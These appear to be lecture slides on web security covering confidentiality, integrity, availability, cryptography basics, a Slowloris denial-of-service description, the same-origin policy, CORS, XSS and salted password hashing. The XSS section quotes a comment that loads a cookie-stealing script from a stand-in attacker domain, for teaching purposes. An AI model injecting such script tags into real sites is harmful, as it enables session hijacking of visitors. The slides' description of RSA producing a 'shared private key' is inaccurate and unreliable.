- Everything is done online now.
- Banking, taxes, paying bills, all communication…
- Want a job flipping burgers? APPLY ONLINE
- There is no separation between “online” and “IRL.” online is real life.
- Most things you do will involve other people’s data.
- Building large, modern web pages often involves using multiple domains.
- Embedding pieces of content from other domains (ads, videos, images etc.)
- Using JS libraries that you didn’t write
- Hosting your content on a CDN (content distribution network)
- We need to keep data safe and confidential…
- …but also allow things to be shared when necessary.
- we need to share resources… from several origins…
- cross-origin resource sharing……………….
- Keeping information secret from those who should not be able to see it
- database leaks exploit this
- Data integrity: has the content of the data been modified?
- Origin integrity: can you verify the source of the data?
- XSS exploits this
- Can you access the information?
- Information that is inaccessible may as well not exist!
- DoS (denial of service) attacks exploit this
- Can you access the information?
Policy and Mechanism
- Policy defines what actions are allowed in the system
- Mechanism is a way to enforce policy
- A threat is a potential security violation
- Generally, you can call the entity that you will protect against an adversary
- Threat Modelling is the process of identifying threats in your system that you will aim to protect against
- The attack surface is all the possible ways an adversary can exploit a threat
- How many “doors” does your “web site house” have?
- Smaller attack surface = less chance of exploits
Our System Model
- Alice and Bob
- The two parties trying to communicate securely
- A malicious third party trying to spy on their communications
Tools for Identity
- Symmetric ciphers
- E.g., AES
- A secret key is used to encrypt messages
- Anyone who knows the secret can read the message
- Secret key must be distributed in advance, preferably through a separate, secure channel
- Public-key (asymmetric) cryptography
- E.g., RSA
- Each party generates two keys, one public and one private
- Exchange public keys through insecure channel, and cross-combine (other’s public with their private) to get shared private key
- Shared private key can be used with a symmetric cipher like AES
- Anyone can encrypt a message such that only Bob can read it
- But only Alice’s messages will be legit - using the shared private key
- Digital signatures
- E.g., RSA (again)
- Anyone can verify that Alice was the one who sent a message
- But they can’t* recover the private key from it
- Cryptographic hash functions
- E.g., SHA-256
- Should be collision-resistant (among other properties…)
- Idea is that it is a one-way function: easy to compute, but hard to undo
- Think of mixing colors of paint together
- Example DoS attack: Slow Loris
- Send partial request to server
- Just before timeout, send more of a partial request
- Never complete a request
- Exhaust server resources to handle new requests
- Modern DoS:
- DDoS: Distributed Denial of Service
- Have thousands of machines send requests to the server to exhaust its resources to handle new requests
- Botnets have historically been used to execute such attacks
- Modern botnets can be composed of anything, not just “PCs”
- Smart Home things
- Printers, fridges, light bulbs
- I’m not making any of those things up
Web-specific security: the Same-origin policy
“a web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin. An origin is defined as a combination of URI scheme, host name, and port number. This policy prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page’s Document Object Model.”
- Imagine if you were accessing your banking page…
- And they embedded a third party site’s data…
- And someone hacked the third party site…
- Now malicious code is being injected into your banking page!!
- This is solid, but too restrictive.
CORS (Cross-Origin Resource Sharing)
- Special HTTP headers were introduced to allow servers to say whether or not their content can be shared on other origins.
- So you make a request, and the response can say “yeah, you can show this image” or “no, this domain is not allowed”
- When a page makes a request (either an XHR
XMLHttpRequestor just a regular request, e.g. a
<img>tag), the browser will check if it’s going to another origin
- If so, it will do something like this:
- To summarize: basic, standard requests will go through quickly
- But more unusual requests will only do an OPTIONS request, and then complete the request if the other origin says it’s OK.
- To be clear: even in the green part the XHR can still fail, if the response says “no that’s not OK”
- Just that it’ll be faster and only require one request.
Cross-site scripting (XSS) attacks
- Persistent attack example:
- Consider the comments section of an article on news.example.com
- Mallory notices that she can add HTML to her comments to change how they are displayed
- E.g., adding
<em></em>will render parts of her comments at emphasized for readers of the article
- E.g., adding
- So these posts are persisted in the server’s database
What happens when Mallory posts the following comment:
I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
- everyone who visits the news page will load that script!
- the script will be loaded under the origin news.example.com
- will have access to news.example.com cookies, can steal anyone’s session!
- Reflected attack example:
- Even if data isn’t persisted on the server, the server may put query strings in the response
- And if the server is implemented poorly, well…
- Let’s say Mallory searches for
- The site takes her to
- But it also says “Here are your articles for ‘puppies’”
- So it seems to be embedding the query string on the page
- The site takes her to
- So what if she does
- If the server is dumb, it’ll plop that script right into the output HTML
- Now she can share that link with someone else
Site design: Error handling
- Consider login controller from minitwit
- Try to view a private GitHub repo in incognito mode
- With private repos: confidentiality of content and existence
- You don’t even know that you don’t know something
- What if login told you how many characters were wrong?
- Then you’re just playing a game of Mastermind…
Data storage: Passwords
- The server should never store passwords.
- What? how? Why?
- If the database is breached, the infiltrators will see all the passwords!
- Instead the server stores a hash of the password.
- When the user logs in, hash their input and compare to the stored hash.
- If you click “forgot password” on a site and they email you your password in plain text…
- That site sucks and you should not trust it.
- They are storing your passwords in plaintext.
- To make it even more secure…
- For each user, when they set their password, generate a long random number and store that
- Then concatenate that number with their password, and hash that
- This way, even if two users have the same password, the resulting hash will be different!
NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO. NEVER IMPLEMENT YOUR OWN CRYPTO.
- Use a trusted and tested library.
- For password storage, use bcrypt or something comprable